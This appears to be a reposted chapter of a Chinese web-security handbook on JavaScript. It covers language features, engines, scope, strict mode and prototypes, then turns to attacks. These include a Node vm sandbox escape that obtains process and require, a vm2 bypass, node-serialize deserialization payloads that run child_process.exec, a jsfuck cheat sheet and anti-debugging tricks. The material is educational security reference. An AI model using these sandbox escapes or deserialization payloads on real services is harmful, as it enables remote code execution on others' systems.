5.4. JavaScript

5.4. JavaScript

5.4.1. ECMAScript

5.4.1.1. 简介

ECMAScript是一种由ECMA国际通过ECMA-262标准化的脚本程序设计语言,它往往被称为JavaScript或JScript。简单的,可以认为ECMAScript是JavaScript的一个标准,但实际上后两者是ECMA-262标准的实现和扩展。

5.4.1.2. 版本

1997年6月,首版发布。1998年6月,进行了格式修正,以使得其形式与ISO/IEC16262国际标准一致。1999年12月,引入强大的正则表达式,更好的词法作用域链处理,新的控制指令,异常处理,错误定义更加明确,数据输出的格式化及其它改变。而后由于关于语言的复杂性出现分歧,第4版本被放弃,其中的部分成为了第5版本及Harmony的基础。

2009年12月,第五版发布,新增“严格模式(strict mode)”,澄清了许多第3版本的模糊规范,并适应了与规范不一致的真实世界实现的行为。增加了部分新功能,如getters及setters,支持JSON以及在对象属性上更完整的反射。

2015年6月,第6版发布,最早被称作是 ECMAScript 6(ES6),添加了类和模块的语法,迭代器,Python风格的生成器和生成器表达式,箭头函数,二进制数据,静态类型数组,集合(maps,sets 和 weak maps),promise,reflection 和 proxies。

2016年6月,ECMAScript 2016(ES2016)发布,引入 Array.prototype.includes、指数运算符、SIMD等新特性。

2017年6月,ECMAScript 2017(ES2017)发布,多个新的概念和语言特性。

2018年6月,ECMAScript 2018 (ES2018)发布包含了异步循环,生成器,新的正则表达式特性和 rest/spread 语法。

5.4.1.3. ES6 特性

5.4.1.3. ES6 特性

  • const/let
  • 模板字面量
  • 解构
    • [a, b] = [10, 20]
  • 对象字面量简写法
  • for...of循环
  • ...xxx展开运算符
  • 可变参数
  • 箭头函数
  • 默认参数函数
  • 默认值与解构

5.4.2. 引擎

5.4.2.1. V8

V8是Chrome的JavaScript语言处理程序(VM)。其引擎由TurboFan、Ignition和Liftoff组成。其中Turbofan是其优化编译器,Ignition则是其解释器,Liftoff是WebAssembly的代码生成器。

5.4.2.2. SpiderMonkey

SpiderMonkey是Mozilla项目的一部分,是一个用 C/C++ 实现的JavaScript脚本引擎。

5.4.2.3. JavaScriptCore

JavaScriptCore的优化执行分为四个部分,LLInt、Baseline、DFG、FTL。LLInt是最开始的解释执行部分,Baseline是暂时的JIT,DFG阶段开始做一定的优化,FTL阶段做了充分的优化。

5.4.2.4. ChakraCore

ChakraCore是一个完整的JavaScript虚拟机,由微软实现,用于Edge浏览器以及IE的后期版本中。

5.4.2.5. JScript

JScript是由微软开发的脚本语言,是微软对ECMAScript规范的实现,用于IE的早期版本中。

5.4.2.6. JerryScript

JerryScript是一个适用于嵌入式设备的小型JavaScript引擎,由三星开发并维护。

5.4.3. WebAssembly

5.4.3.1. 简介

简而言之,WASM是一种分发要在浏览器中执行的代码的新方法。它是一种二进制语言,但是无法直接在处理器上运行。在运行时,代码被编译为中间字节代码,可以在浏览器内快速转换为机器代码,然后比传统JavaScript更有效地执行。

5.4.3.2. 执行

虽然浏览器可能以不同的方式来实现Wasm支持,但是使用的沙盒环境通常是JavaScript沙箱。

在浏览器中运行时,Wasm应用程序需要将其代码定义为单独的文件或JavaScript块内的字节数组。 然后使用JavaScript实例化文件或代码块,目前不能在没有JavaScript包装器的情况下直接在页面中调用Wasm。

虽然Wasm可以用C / C++等语言编写,但它本身不能与沙箱之外的环境进行交互。这意味着当Wasm应用程序想要进行输出文本等操作时,它需要调用浏览器提供的功能,然后使用浏览器在某处输出文本。

Wasm中的内存是线性的,它在Wasm应用程序和JavaScript之间共享。 当Wasm函数将字符串返回给JavaScript时,它实际上返回一个指向Wasm应用程序内存空间内位置的指针。 Wasm应用程序本身只能访问分配给它的JavaScript内存部分,而不是整个内存空间。

5.4.3.3. 安全

Wasm的设计从如下几个方面考虑来保证Wasm的安全性

  • 保护用户免受由于无意的错误而导致漏洞的应用程序的侵害

  • 保护用户免受故意编写为恶意的应用程序的侵害

  • 为开发人员提供良好的缓解措施
    具体的安全措施有

  • Wasm应用程序在沙箱内运行

  • Wasm无法对任意地址进行函数调用。Wasm采用对函数进行编号的方式,编号存储在函数表中

  • 间接函数调用受类型签名检查的约束

  • 调用堆栈受到保护,这意味着无法覆盖返回指针

  • 实现了控制流完整性,这意味着调用意外的函数将失败

5.4.4. 作用域与闭包

5.4.4.1. 作用域与作用域链

5.4.4.1.1. 作用域

简单来说,作用域就是变量与函数的可访问范围,即作用域控制着变量与函数的可见性和生命周期。JavaScript的作用域是靠函数来形成的,也就是说一个函数的变量在函数外不可以访问。

作用域可以分为全局作用域、局部作用域和块级作用域,其中全局作用域主要有以下三种情况:

  • 函数外面定义的变量拥有全局作用域
  • 未定义直接赋值的变量自动声明为拥有全局作用域
  • window对象的属性拥有全局作用
    局部作用域一般只在固定的代码片段内可访问到,最常见的例如函数内部,所以也会把这种作用域称为函数作用域。

5.4.4.1.2. 作用域泄漏

在ES5标准时,只有全局作用域和局部作用域,没有块级作用域,这样可能会造成变量泄漏的问题。例如:

var i = 1;
function f() {
    console.log(i)
    if (true) {
        var i = 2;
    }
}
f(); // undefined

5.4.4.1.3. 作用域提升(var Hoisting)

在JavaScript中,使用var在函数或全局内任何地方声明变量相当于在其内部最顶上声明它,这种行为称为Hoisting。例如下面这段代码等效于第二段代码

function foo() {
    console.log(x); // => undefined
    var x = 1;
    console.log(x); // => 1
}
foo();
function foo() {
    var x;
    console.log(x); // => undefined
    x = 1;
    console.log(x); // => 1
}
foo();

5.4.4.1.4. 作用域链

当函数被执行时,总是先从函数内部找寻局部变量,如果找不到相应的变量,则会向创建函数的上级作用域寻找,直到找到全局作用域为止,这个过程被称为作用域链。

5.4.4.2. 闭包

函数与对其状态即词法环境(lexical environment)的引用共同构成闭包(closure)。也就是说,闭包可以让你从内部函数访问外部函数作用域。在JavaScript,函数在每次创建时生成闭包。

在JavaScript中,并没有原生的对private方法的支持,即一个元素/方法只能被同一个类中的其它方法所调用。而闭包则是一种可以被用于模拟私有方法的方案。另外闭包也提供了管理全局命名空间的能力,避免非核心的方法或属性污染了代码的公共接口部分。下面是一个简单的例子:

var Counter = (function() {
  var privateCounter = 0;
  function changeBy(val) {
    privateCounter += val;
  }
  return {
    increment: function() {
      changeBy(1);
    },
    decrement: function() {
      changeBy(-1);
    },
    value: function() {
      return privateCounter;
    }
  }
})();

console.log(Counter.value()); /* logs 0 */
Counter.increment();
Counter.increment();
console.log(Counter.value()); /* logs 2 */
Counter.decrement();
console.log(Counter.value()); /* logs 1 */

5.4.4.3. 全局对象

全局对象是一个特殊的对象,它的作用域是全局的。

全平台可用的全局对象是 globalThis ,它跟全局作用域里的this值相同。另外在浏览器中存在 selfwindow全局对象,Web Workers中存在 self 全局对象,Node.js 中存在 global全局对象。

5.4.5. 严格模式

5.4.5.1. 简介

在ES5中,除了正常的运行模式之外,添加了严格模式(strict mode),这种模式使得代码显式地脱离“马虎模式/稀松模式/懒散模式“(sloppy)模式在更严格的条件下运行。严格模式不仅仅是一个子集:它的产生是为了形成与正常代码不同的语义。

引入严格模式的目的主要是:

  • 通过抛出错误来消除了一些原有静默错误
  • 消除JavaScript语法的一些不合理、不严谨之处,减少一些怪异行为
  • 消除代码运行的一些不安全之处,保证代码运行的安全
  • 修复了一些导致 JavaScript引擎难以执行优化的缺陷,提高编译器效率,增加运行速度
  • 禁用了在ECMAScript的未来版本中可能会定义的一些语法,为未来新版本的JavaScript做铺垫

5.4.5.2. 调用

严格模式使用"use strict"; 字符串开启。对整个脚本文件而言,可以将"use strict" 放在脚本文件的第一行使整个脚本以严格模式运行。如果这行语句不在第一行则不会生效,会以正常模式运行`。

对单个函数而言,将"use strict"放在函数体的第一行,则整个函数以严格模式运行。

5.4.5.3. 行为改变

在严格模式中,主要有以下的行为更改:

5.4.5.3.1. 全局变量显式声明

在正常模式中,如果一个变量没有声明就赋值,默认是全局变量。严格模式禁止这种用法,全局变量必须显式声明。

"use strict";
for(i = 0; i < 2; i++) { // ReferenceError: i is not defined
}

5.4.5.3.2. 禁止使用with语句

with语句无法在编译时就确定,属性到底归属哪个对象,这会影响编译效率,所以在严格模式中被禁止。

5.4.5.3.3. 创设eval作用域

正常模式下,eval语句的作用域,取决于它处于全局作用域,还是处于函数作用域。严格模式下,eval语句本身就是一个作用域,不再能够生成全局变量了,它所生成的变量只能用于eval内部。

5.4.5.3.4. 禁止删除变量

严格模式下无法删除变量。只有configurable设置为true的对象属性,才能被删除。

5.4.5.3.5. 显式报错

正常模式下一些错误只会默默地失败,但是严格模式下将会报错,包括以下几种场景:

  • 对一个对象的只读属性进行赋值
  • 对一个使用getter方法读取的属性进行赋值
  • 对禁止扩展的对象添加新属性
  • 删除一个不可删除的属性

5.4.5.3.6. 语法错误

严格模式新增了一些语法错误,包括:

  • 对象不能有重名的属性
  • 函数不能有重名的参数
  • 禁止八进制表示法
  • 函数必须声明在顶层
  • 新增保留字
    • class
    • enum
    • export
    • extends
    • import
    • super

5.4.5.3.7. 安全增强

  • 禁止this关键字指向全局对象
  • 禁止在函数内部遍历调用栈

5.4.5.3.8. 限制arguments对象

  • 不允许对arguments赋值
  • arguments不再追踪参数的变化
  • 禁止使用arguments.callee

5.4.6. 异步机制

5.4.6.1. async / await

async function 关键字用来在表达式中定义异步函数。

5.4.6.2. Promise

Promise 对象是一个代理对象(代理一个值),被代理的值在Promise对象创建时可能是未知的。它允许你为异步操作的成功和失败分别绑定相应的处理方法(handlers)。 这让异步方法可以像同步方法那样返回值,但并不是立即返回最终执行结果,而是一个能代表未来出现的结果的promise对象

一个 Promise有以下几种状态:

  • pending: 初始状态,既不是成功,也不是失败状态。
  • fulfilled: 意味着操作成功完成。
  • rejected: 意味着操作失败。

pending 状态的 Promise 对象可能会变为 fulfilled 状态并传递一个值给相应的状态处理方法,也可能变为失败状态(rejected)并传递失败信息。当其中任一种情况出现时,Promise 对象的 then 方法绑定的处理方法(handlers )就会被调用(then方法包含两个参数:onfulfilled 和 onrejected,它们都是 Function 类型。当Promise状态为fulfilled时,调用 then 的 onfulfilled 方法,当Promise状态为rejected时,调用 then 的 onrejected 方法, 所以在异步操作的完成和绑定处理方法之间不存在竞争)。

因为 Promise.prototype.then 和 Promise.prototype.catch 方法返回promise 对象, 所以它们可以被链式调用。

5.4.6.3. 执行队列

JavaScript中的异步运行机制如下:

  • 所有同步任务都在主线程上执行,形成一个执行栈
  • 主线程之外,还存在一个任务队列。只要异步任务有了运行结果,就在任务队列之中放置一个事件。
  • 一旦执行栈中的所有同步任务执行完毕,系统就会读取任务队列,看看里面有哪些事件。那些对应的异步任务,于是结束等待状态,进入执行栈,开始执行。
  • 主线程不断重复上面的第三步。

其中浏览器的内核是多线程的,在浏览器的内核中不同的异步操作由不同的浏览器内核模块调度执行,异步操作会将相关回调添加到任务队列中。可以分为DOM事件、时间回调、网络回调三种:

  • DOM事件:由浏览器内核的 DOM 模块来处理,当事件触发的时候,回调函数会被添加到任务队列中。
  • 时间回调:setTimeout / setInterval 等函数会由浏览器内核的 timer 模块来进行延时处理,当时间到达的时候,将回调函数添加到任务队列中。
  • 网络回调:ajax / fetch 等则由浏览器内核的 network 模块来处理,在网络请求完成返回之后,才将回调添加到任务队列中。

5.4.7. 原型链

5.4.7.1. 显式原型和隐式原型

JavaScript的原型分为显式原型(explicit prototype property)和隐式原型(implicit prototype link)。

其中显式原型指prototype,是函数的一个属性,这个属性是一个指针,指向一个对象,显示修改对象的原型的属性,只有函数才有该属性

隐式原型指JavaScript中任意对象都有的内置属性prototype。在ES5之前没有标准的方法访问这个内置属性,但是大多数浏览器都支持通过__proto__来访问。ES5中有了对于这个内置属性标准的Get方法 Object.getPrototypeOf()

隐式原型指向创建这个对象的函数(constructor)的prototype, __proto__ 指向的是当前对象的原型对象,而prototype指向的,是以当前函数作为构造函数构造出来的对象的原型对象。

显式原型的作用用来实现基于原型的继承与属性的共享。 隐式原型的用于构成原型链,同样用于实现基于原型的继承。举个例子,当我们访问obj这个对象中的x属性时,如果在obj中找不到,那么就会沿着__proto__依次查找。

Note: Object.prototype 这个对象是个例外,它的__proto__值为null

5.4.7.2. new 的过程

var Person = function(){};
var p = new Person();

new的过程拆分成以下三步: - var p={};初始化一个对象p - p.__proto__ = Person.prototype;- Person.call(p); 构造p,也可以称之为初始化p

关键在于第二步,我们来证明一下:

var Person = function(){};
var p = new Person();
alert(p.proto === Person.prototype);

这段代码会返回true。说明我们步骤2是正确的。

5.4.7.3. 示例

var Person = function(){};
Person.prototype.sayName = function() {
    alert("My Name is Jacky");
};

Person.prototype.age = 27;
var p = new Person();
p.sayName();

p是一个引用指向Person的对象。我们在Person的原型上定义了一个sayName方法和age属性,当我们执行p.age时,会先在this的内部查找(也就是构造函数内部),如果没有找到然后再沿着原型链向上追溯。

这里的向上追溯是怎么向上的呢?这里就要使用__proto__ 属性来链接到原型(也就是Person.prototype)进行查找。最终在原型上找到了age属性。

5.4.7.4. 原型链污染

如前文提到的,JavaScript是动态继承,通过 __proto__ 修改自身对象时会影响到有相同原型的对象。因此当键值对是用户可控的情况下,就可能出现原型链污染。

5.4.8. 沙箱逃逸

5.4.8.1. 前端沙箱

在前端中,可能会使用删除eval,重写 Function.prototype.constructor / GeneratorFunction / AsyncFunction 等方式来完成前端的沙箱。在这种情况下,可以使用创建一个新iframe的方式来获取新的执行环境。

5.4.8.2. 服务端沙箱

JavaScript提供了原生的vm模块,用于隔离了代码上下文环境。但是在该环境中依然可以访问标准的JavaScript API和全局的NodeJS环境。

在原生的沙箱模块中,常用的逃逸方式为:

const vm = require('vm');
const sandbox = {};
const whatIsThis = vm.runInNewContext(`
    const ForeignObject = this.constructor;
    const ForeignFunction = ForeignObject.constructor;
    const process = ForeignFunction("return process")();
    const require = process.mainModule.require;
    require("fs");
`, sandbox);

考虑到JavaScript原生vm模块的缺陷,有开发者设计了vm2来提供一个更安全的隔离环境,但是在旧版本中同样存在一些逃逸方式,例如:

vm.runInNewContext(
  'Promise.resolve().then(()=>{while(1)console.log("foo", Date.now());}); while(1)console.log(Date.now())',
  {console:{log(){console.log.apply(console,arguments);}}},
  {timeout:5}
);

5.4.9. 反序列化

5.4.9.1. 简介

JavaScript本身并没有反序列化的实现,但是一些库如node-serialize、serialize-to-js等支持了反序列化功能。这些库通常使用JSON形式来存储数据,但是和原生函数JSON.parse、 JSON.stringify不同,这些库支持任何对象的反序列化,特别是函数,如果使用不当,则可能会出现反序列化问题。

5.4.9.2. Payload构造

下面是一个最简单的例子,首先获得序列化后的输出

var y = {
 rce : function(){
 require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });
 },
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));

上面执行后会返回

{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });}"}

不过这段payload反序列化后并不会执行,但是在JS中支持立即调用的函数表达式(Immediately Invoked Function Expression),比如 (function () { /* code */ } ());这样就会执行函数中的代码。那么可以使用这种方法修改序列化后的字符串来完成一次反序列化。最后的payload测试如下:

var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);

5.4.9.3. Payload构造 II

以上提到的是node-serialize这类反序列化库的构造方式,还有一类库如funcster,是使用直接拼接字符串构造函数的方式来执行。

return "module.exports=(function(module,exports){return{" + entries + "};})();";

这种方式可以使用相应的闭合来构造payload。

5.4.10. jsfuck cheat sheet

5.4.10.1. Basic values

  • undefined>[][[]]
  • false >![]
  • true>!![]
  • NaN >+[![]]
  • 0 > +[]
  • 1>+!+[]
  • 2>!+[]+!+[]

5.4.10.2. Basic strings

  • ''>[]+[]
  • 'undefined' >[]+[][[]]
  • 'false'>[]+![]
  • 'true'> []+!![]
  • 'NaN'>[]+(+[![]])
  • '0' >[]+(+[])
  • '1'>[]+(+!+[])
  • '2'>[]+(!+[]+!+[])
  • '10' >[+!+[]]+[+[]]
  • '11'>[+!+[]]+[+!+[]]
  • '100'>[+!+[]]+[+[]]+(+[])

5.4.10.3. Higher numbers

  • 10 > +([+!+[]]+[+[]])
  • 11> +([+!+[]]+[+!+[]])
  • 100> +([+!+[]]+[+[]]+(+[]))

5.4.10.4. String alphabet

  • 'a'>([]+![])[+!+[]]
  • 'd'>([]+[][[]])[+!+[]+!+[]]
  • 'e'>([]+!+[])[+!+[]+!+[]+!+[]]
  • 'f'>([]+![])[+[]]
  • 'i'> ([]+[][[]])[+!+[]+!+[]+!+[]+!+[]+!+[]]
  • 'l'> ([]+![])[+!+[]+!+[]]
  • 'n'> ([]+[][[]])[+!+[]]
  • 'r' >([]+!+[])[+!+[]]
  • 's'>([]+![])[+!+[]+!+[]+!+[]]
  • 't'> ([]+!+[])[+[]]
  • 'u'> ([]+!+[])[+!+[]+!+[]]

5.4.11. 其他

5.4.11.1. 命令执行

Node.js中child_process.exec命令调用的是 /bin/sh ,故可以直接使用该命令执行shell

5.4.11.2. 反调试技巧

  • 函数重定义 console.log = function(a){}
  • 定时断点 setInterval(function(){debugger}, 1000);

5.4.11.3. 对象拷贝

JavaScript中的对象拷贝分为浅拷贝和深拷贝。

浅拷贝对一个对象进行拷贝时,仅仅拷贝对象的引用进行拷贝,但是拷贝对象和源对象还是引用同一份实体。其中一个对象的改变都会影响到另一个对象。

深拷贝拷贝一个对象时,不仅仅把对象的引用进行复制,还把该对象引用的值也一起拷贝。源对象与拷贝对象互相独立,其中任何一个对象的改动都不会对另外一个对象造成影响。

深拷贝可以基于for-in /object.assign()/ 拓展运算符.../ JSON.parse(JSON.stringify())等方式实现。其中前三种方式只对第一层做深拷贝,若对象结构较为复杂,则需要用递归的方式对更深的层次进行拷贝。

5.4.11.4. 常见Sink

  • exec
  • execSync
  • child_process
  • eval

5.4.12. 参考链接

猜你喜欢

转载自blog.csdn.net/weixin_43510203/article/details/107174758
5.4